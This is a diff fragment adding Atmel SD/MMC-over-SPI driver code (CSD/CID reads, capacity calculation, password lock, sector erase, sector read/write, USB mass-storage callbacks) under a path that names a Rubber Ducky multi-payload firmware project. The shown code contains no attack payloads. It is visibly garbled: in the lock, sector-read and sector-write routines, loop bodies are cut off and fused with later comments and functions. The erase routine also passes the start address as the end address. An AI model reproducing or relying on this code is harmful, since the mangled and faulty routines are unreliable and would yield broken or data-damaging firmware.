SD_MMC_SPI + return SD_FAILURE; + } + hc_bit = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + if(hc_bit & 0x40) { + return SDHC_CARD; + } + return 0; +} + +//! +//! @brief This function reads the CSD (Card Specific Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_csd(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CSD, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return KO; + } + // wait for block start + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} + + +//! +//! @brief This function reads the CID (Card Identification Data) of the memory card +//! +//! @param buffer to fill +//! +//! @return bit +//! OK / KO +Bool sd_mmc_spi_get_cid(uint8_t *buffer) +{ +uint8_t retry; +unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + // issue command + r1 = sd_mmc_spi_command(MMC_SEND_CID, 0); + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + sd_mmc_spi_init_done = false; + return KO; + } + // wait for data block start + retry = 0; + while((r2 = sd_mmc_spi_send_and_read(0xFF)) != MMC_STARTBLOCK_READ) + { + if (retry > 8) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + retry++; + } + // store valid data block + for (retry = 0; retry <16; retry++) + { + spi_write(SD_MMC_SPI,0xFF); + spi_read(SD_MMC_SPI,&data_read); + buffer[retry] = data_read; + } + spi_write(SD_MMC_SPI,0xFF); // load CRC (not used) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} + + + +//! +//! @brief This function extracts structure information from CSD array +//! and compute the number of blocks of the memory card (stored in global uint32_t sd_mmc_spi_last_block_address), +//! its capacity in bytes (stored in global uint32_t capacity) +//! and the block group size for an erase operation +//! Here is defined the position of required fields in CSD array : +//! READ_BL_LEN : +//! [83:80] == data[5] && 0x0f +//! C_SIZE : +//! [73:72] == data[6] && 0x03 +//! [71:64] == data[7] +//! [63:62] == data[8] && 0xc0 +//! C_SIZE_MULT : +//! [49:48] == data[9] && 0x03 +//! [47] == data[10] && 0x80 +//! ERASE_GRP_SIZE (MMC card only) : +//! [46:42] == data[10] && 0x7c +//! ERASE_GRP_MULT (MMC card only) : +//! [41:40] == data[10] && 0x03 +//! [39:37] == data[11] && 0xe0 +//! SECTOR_SIZE (SD card only) : +//! [45:40] == data[10] && 0x3F +//! [39] == data[11] && 0x80 +//! +//! @return bit +//! OK +void sd_mmc_spi_get_capacity(void) +{ + uint32_t c_size; + uint8_t c_size_mult; + uint8_t read_bl_len; + uint8_t erase_grp_size; + uint8_t erase_grp_mult; + + // extract variables from CSD array + read_bl_len = csd[5] & 0x0F; + if (card_type == SD_CARD_2_SDHC) { + c_size = ((csd[7] & 0x3F) << 16) | (csd[8] << 8) | csd[9]; + ++c_size; + capacity = c_size << 19; + capacity_mult = (c_size >> 13) & 0x01FF; + sd_mmc_spi_last_block_address = (capacity >> 9) + (capacity_mult << 23) - 1; + } else { + c_size = ((csd[6] & 0x03) << 10) + (csd[7] << 2) + ((csd[8] & 0xC0) >> 6); + c_size_mult = ((csd[9] & 0x03) << 1) + ((csd[10] & 0x80) >> 7); + sd_mmc_spi_last_block_address = ((uint32_t)(c_size + 1) * (uint32_t)((1 << (c_size_mult + 2)))) - 1; + capacity = (1 << read_bl_len) * (sd_mmc_spi_last_block_address + 1); + capacity_mult = 0; + if (read_bl_len > 9) { // 9 means 2^9 = 512b + sd_mmc_spi_last_block_address <<= (read_bl_len - 9); + } + } + if (card_type == MMC_CARD) + { + erase_grp_size = ((csd[10] & 0x7C) >> 2); + erase_grp_mult = ((csd[10] & 0x03) << 3) | ((csd[11] & 0xE0) >> 5); + } + else + { + erase_grp_size = ((csd[10] & 0x3F) << 1) + ((csd[11] & 0x80) >> 7); + erase_grp_mult = 0; + } + erase_group_size = (erase_grp_size + 1) * (erase_grp_mult + 1); +} + + + +//! +//! @brief This function reads the STATUS regsiter of the memory card +//! After a read the error flags are automatically cleared +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_get_status(void) +{ + uint8_t retry, spireg; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send command + spi_write(SD_MMC_SPI,MMC_SEND_STATUS | 0x40); // send command + spi_write(SD_MMC_SPI,0); // send parameter + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0); + spi_write(SD_MMC_SPI,0x95); // correct CRC for first command in SPI (CMD0) + // after, the CRC is ignored + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r2 = 0xFFFF; + spireg = 0xFF; + while((spireg = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + r2 = ((uint16_t)(spireg) << 8) + sd_mmc_spi_send_and_read(0xFF); // first byte is MSb + + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + return OK; +} + + +//! +//! @brief This function waits until the SD/MMC is not busy. +//! +//! @return bit +//! OK when card is not busy +Bool sd_mmc_spi_wait_not_busy(void) +{ + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) + { + retry++; + if (retry == 200000) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return OK; +} + + + +//! +//! @brief This function check the presence of a memory card +//! - if the card was already initialized (removal test), the host send a CRC_OFF command (CMD59) and check the answer +//! - if the card was not already initialized (insertion test), the host send a CMD0 reset command and check the answer +//! +//! @return bit +//! The memory is present (OK) +//! The memory does not respond (disconnected) (KO) +Bool sd_mmc_spi_check_presence(void) +{ + uint16_t retry; + + retry = 0; + if (sd_mmc_spi_init_done == false) + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + retry++; + if (retry > 10) + return KO; + } + return OK; + } + else + { + // If memory already initialized, send a CRC command (CMD59) (supported only if card is initialized) + if ((r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0)) == 0x00) + return OK; + sd_mmc_spi_init_done = false; + return KO; + } +} + + +//! +//! @brief This function performs a memory check on the SD_MMC. +//! +//! +//! @return bit +//! The memory is ready -> OK +//! The memory check failed -> KO +Bool sd_mmc_spi_mem_check(void) +{ + if (sd_mmc_spi_check_presence() == OK) + { + if (sd_mmc_spi_init_done == false) + { + return sd_mmc_spi_internal_init(); + } + else + return OK; + } + return KO; +} + + + +//! +//! @brief This function checks if the card is password-locked +//! Old versions of MMC card don't support this feature ! +//! For a MMC, "lock protection" is featured from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! +//! @return bit +//! Password protected -> OK +//! NOT password protected -> KO (or card not initialized) +Bool is_sd_mmc_spi_write_pwd_locked(void) +{ + if (card_type == MMC_CARD) + { + if (((csd[0] >> 2) & 0x0F) < 2) // lock feature is not present on the card since the MMC is v1.x released ! + return KO; + } + if (KO == sd_mmc_spi_get_status()) // get STATUS response + return KO; + if ((r2&0x0001) != 0) // check "card is locked" flag in R2 response + return OK; + + return KO; +} + + +//! +//! @brief This function manages locking operations for the SD/MMC card (password protection) +//! - Once the card is locked, the only commands allowed are UNLOCK and FORCED_ERASE +//! - Once the card is unlocked, the commands allowed are all the others +//! - Before setting a new password (SET_PWD), the current one must be cleared (RESET_PWD) +//! - If card contains a password (PWDSLEN != 0), the card will automatically be locked at start-up +//! +//! /!\ Take care that old versions of MMC cards don't support this feature ! +//! For a MMC, "lock protection" is featured only from v2.1 release ! +//! => see CSD[0]<5:2> bits to know the version : 0x0=1.x, 0x1=1.4, 0x2=2.x, 0x3=3.x, 0x4=4.0 +//! Moreover the OP_FORCED_ERASE command can also have no effect on some cards ! +//! +//! @param operation +//! OP_LOCK -> to lock the card (the current pasword must be specified) +//! OP_UNLOCK -> to unlock the card (the current password must be specified) +//! OP_RESET_PWD -> to clear the current password (the current password must be specified) +//! OP_SET_PWD -> to set a new password to the card (the old password must have been cleared first) +//! OP_FORCED_ERASE -> to erase completely the card and the password (no password needed) +//! @param pwd_lg +//! Password length +//! @param pwd +//! Pointer on the password (char array) to send +//! +//! @return bit +//! Operation succeeded -> OK +//! Operation failed -> KO +Bool sd_mmc_spi_lock_operation(uint8_t operation, uint8_t pwd_lg, uint8_t * pwd) +{ + Bool status = OK; + uint8_t retry; + + // check parameters validity + if ((operation != OP_FORCED_ERASE) && (pwd_lg == 0)) // password length must be > 0 + return KO; + + // wait card not busy + if (sd_mmc_spi_wait_not_busy() == KO) + return KO; + + // set block length + if (operation == OP_FORCED_ERASE) + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 1); // CMD + else + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, pwd_lg+2); // CMD + PWDSLEN + PWD + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return KO; + + // send the lock command to the card + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + r1 = sd_mmc_spi_command(MMC_LOCK_UNLOCK, 0); + + // check for valid response + if(r1 != 0x00) + { + status = KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + spi_write(SD_MMC_SPI,operation); + if (operation != OP_FORCED_ERASE) + { + spi_write(SD_MMC_SPI,pwd_lg); + for(retry=0 ; retry OK +Bool sd_mmc_spi_read_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function unselects the current SD_MMC memory. +//! +Bool sd_mmc_spi_read_close (void) +{ + if (KO == sd_mmc_spi_wait_not_busy()) + return false; + return true; +} + + +//! +//! @brief This function opens a SD_MMC memory in write mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_write_open (uint32_t pos) +{ + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +} + + +//! +//! @brief This function fills the end of the logical sector (512B) and launch +//! page programming. +//! +void sd_mmc_spi_write_close (void) +{ + +} + +//! +//! @brief This function allow to read multiple sectors +//! +//! @param nb_sector the number of sector to read +//! @return bit +//! The read succeeded -> OK +Bool sd_mmc_spi_read_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Read the next sector + sd_mmc_spi_read_sector_to_ram(sector_buf); + sd_mmc_spi_read_multiple_sector_callback(sector_buf); + } + + return OK; +} + +//! +//! @brief This function allow to write multiple sectors +//! +//! @param nb_sector the number of sector to write +//! @return bit +//! The write succeeded -> OK +Bool sd_mmc_spi_write_multiple_sector(uint16_t nb_sector) +{ + while (nb_sector--) + { + // Write the next sector + sd_mmc_spi_write_multiple_sector_callback(sector_buf); + sd_mmc_spi_write_sector_from_ram(sector_buf); + } + + return OK; +} + +//! @brief This function erase a group of sectors +//! NOTE : Erasing operation concerns only groups of sectors and not one sector only +//! The global variable "erase_group_size" (extracted from CSD) contains the sector group size boundary +//! User specifies the addresses of the first group and the last group to erase (several contiguous groups can be selected for erase) +//! An misaligned address will not generate an error since the memory card ignore the LSbs of the address +//! Some examples (with "erase_group_size" = 0x20 = group boundary) : +//! - adr_start=0x100 and adr_end=0x100, all the sectors from 0x100 up to 0x11F will be erased +//! - adr_start=0x90 and adr_end=0x100, all the sectors from 0x80 up to 0x11F will be erased (0x90 interpreted as 0x80) +//! - adr_start=0x80 and adr_end=0x146, all the sectors from 0x80 up to 0x15F will be erased +//! This function just initiates a transmission, user may get status register to check that operation has succeeded +//! After an erase, a MMC card contains bits at 0, and SD can contains bits 0 or 1 (according to field DATA_STAT_AFTER_ERASE in the CSD) +//! +//! @param adr_start address of 1st group (sector address, not byte address) +//! @param adr_end address of last group (sector address, not byte address) +//! +//! @return bit +//! The erase operation succeeded (has been started) -> OK +//! The erase operation failed (not started) -> KO +Bool sd_mmc_spi_erase_sector_group(uint32_t adr_start, uint32_t adr_end) +{ + uint8_t cmd; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // send address of 1st group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_START; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_START; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + // send address of last group + if (card_type == MMC_CARD) + { cmd = MMC_TAG_ERASE_GROUP_END; } + else + { cmd = SD_TAG_WR_ERASE_GROUP_END; } + + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(cmd,adr_start); + } else { + r1 = sd_mmc_spi_command(cmd,(adr_start << 9)); + } + + if (r1 != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + // send erase command + if ((r1 = sd_mmc_spi_command(MMC_ERASE,0)) != 0) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + + return OK; +} + + +//! Stop PDCA transfer +//! @brief This function closes a PDCA read transfer +//! page programming. +//! +void sd_mmc_spi_read_close_PDCA (void) +{ + + // load 16-bit CRC (ignored) + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + // continue delivering some clock cycles + spi_write(SD_MMC_SPI,0xFF); + spi_write(SD_MMC_SPI,0xFF); + + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + +} + + + +//! Reading using PDCA +//! @brief This function opens a SD_MMC memory in read mode at a given sector +//! address. +//! +//! NOTE: If page buffer > 512 bytes, page content is first loaded in buffer to +//! be partially updated by write_byte or write64 functions. +//! +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +//!/ +Bool sd_mmc_spi_read_open_PDCA (uint32_t pos) +{ + uint16_t read_time_out; + + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + return OK; // Read done. +} + + +//! @brief This function read one MMC sector and load it into a ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! +//! NOTE: +//! - First call (if sequential read) must be preceded by a call to the sd_mmc_spi_read_open() function +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The read succeeded -> OK +//! The read failed (bad address, etc.) -> KO +//!/ +Bool sd_mmc_spi_read_sector_to_ram(void *ram) +{ + uint8_t *_ram = ram; + uint16_t i; + uint16_t read_time_out; + unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if (r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // wait for token (may be a datablock start token OR a data error token !) + read_time_out = 30000; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + read_time_out--; + if (read_time_out == 0) // TIME-OUT + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + } + + // check token + if (r1 != MMC_STARTBLOCK_READ) + { + spi_write(SD_MMC_SPI,0xFF); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return KO; + } + + // store datablock + for(i=0;i SD/MMC +//! +//! +//! NOTE (please read) : +//! - First call (if sequential write) must be preceded by a call to the sd_mmc_spi_write_open() function +//! - An address error will not detected here, but with the call of sd_mmc_spi_get_status() function +//! - The program exits the functions with the memory card busy ! +//! +//! @param ram pointer to ram buffer +//! +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +{ + const uint8_t *_ram = ram; + uint16_t i; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + + // issue command + if(card_type == SD_CARD_2_SDHC) { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem>>9); + } else { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem); + } + + // check for valid response + if(r1 != 0x00) + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i the memory is not write-protected (always) +//!/ +Bool sd_mmc_spi_wr_protect(void) +{ + return false; +} + + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//!/ +Bool sd_mmc_spi_removal(void) +{ + return false; +// return ((OK == sd_mmc_spi_check_presence()) ? false : true); +} + + + +//------------ STANDARD FUNCTIONS to read/write the memory -------------------- + +#if ACCESS_USB == ENABLED + +#include "usb_drv.h" +#include "scsi_decoder.h" + + + +Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector) +{ +Bool status; + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done != true) + return CTRL_NO_PRESENT; + + Sd_mmc_spi_access_signal_on(); + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_multiple_sector(nb_sector) ) + goto sd_mmc_spi_usb_read_10_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_usb_read_10_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_usb_read_10_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +void sd_mmc_spi_read_multiple_sector_callback(const void *psector) +{ + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_in_ready(g_scsi_ep_ms_in)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_in); + data_to_transfer = usb_write_ep_txpacket(g_scsi_ep_ms_in, psector, + data_to_transfer, &psector); + Usb_ack_in_ready_send(g_scsi_ep_ms_in); + } +} + + + +Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector) +{ + Bool status; + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done == true) + { + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_write_open(addr); + status = sd_mmc_spi_write_multiple_sector(nb_sector); + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + if (status == OK) + return CTRL_GOOD; + else + return CTRL_NO_PRESENT; + } + else + return CTRL_NO_PRESENT; +} + + +void sd_mmc_spi_write_multiple_sector_callback(void *psector) +{ + uint16_t data_to_transfer = MMC_SECTOR_SIZE; + + while (data_to_transfer) + { + while (!Is_usb_out_received(g_scsi_ep_ms_out)); + + Usb_reset_endpoint_fifo_access(g_scsi_ep_ms_out); + data_to_transfer = usb_read_ep_rxpacket(g_scsi_ep_ms_out, psector, + data_to_transfer, &psector); + Usb_ack_out_received_free(g_scsi_ep_ms_out); + } +} + +#endif // ACCESS_USB == ENABLED + + +//------------ Standard functions for read/write 1 sector to 1 sector ram buffer ----------------- + +#if ACCESS_MEM_TO_RAM == ENABLED + +Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done != true) + return CTRL_NO_PRESENT; + + if( !sd_mmc_spi_read_open(addr) ) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_sector_to_ram(ram)) + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_close() ) + goto sd_mmc_spi_mem_2_ram_fail; + + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + +sd_mmc_spi_mem_2_ram_fail: + Sd_mmc_spi_access_signal_off(); + return CTRL_FAIL; +} + + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram) +{ + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); + + if (sd_mmc_spi_init_done == false) + { + sd_mmc_spi_mem_init(); + } + + if (sd_mmc_spi_init_done == true) + { + sd_mmc_spi_write_open(addr); + if (KO == sd_mmc_spi_write_sector_from_ram(ram)) + { + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; + } + sd_mmc_spi_write_close(); + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + } + Sd_mmc_spi_access_signal_off(); + + return CTRL_NO_PRESENT; +} + + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#endif // SD_MMC_SPI_MEM == ENABLE diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h new file mode 100644 index 0000000..e0f5802 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h @@ -0,0 +1,188 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief CTRL_ACCESS interface for SD/MMC card. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _SD_MMC_SPI_MEM_H_ +#define _SD_MMC_SPI_MEM_H_ + + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error sd_mmc_spi_mem.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#define SD_MMC_REMOVED 0 +#define SD_MMC_INSERTED 1 +#define SD_MMC_REMOVING 2 + + +//---- CONTROL FONCTIONS ---- +//! +//! @brief This function initializes the hw/sw resources required to drive the SD_MMC_SPI. +//!/ +extern void sd_mmc_spi_mem_init(void); + +//! +//! @brief This function tests the state of the SD_MMC memory and sends it to the Host. +//! For a PC, this device is seen as a removable media +//! Before indicating any modification of the status of the media (GOOD->NO_PRESENT or vice-versa), +//! the function must return the BUSY data to make the PC accepting the change +//! +//! @return Ctrl_status +//! Media is ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//! Media has changed -> CTRL_BUSY +//!/ +extern Ctrl_status sd_mmc_spi_test_unit_ready(void); + +//! +//! @brief This function gives the address of the last valid sector. +//! +//! @param *nb_sector number of sector 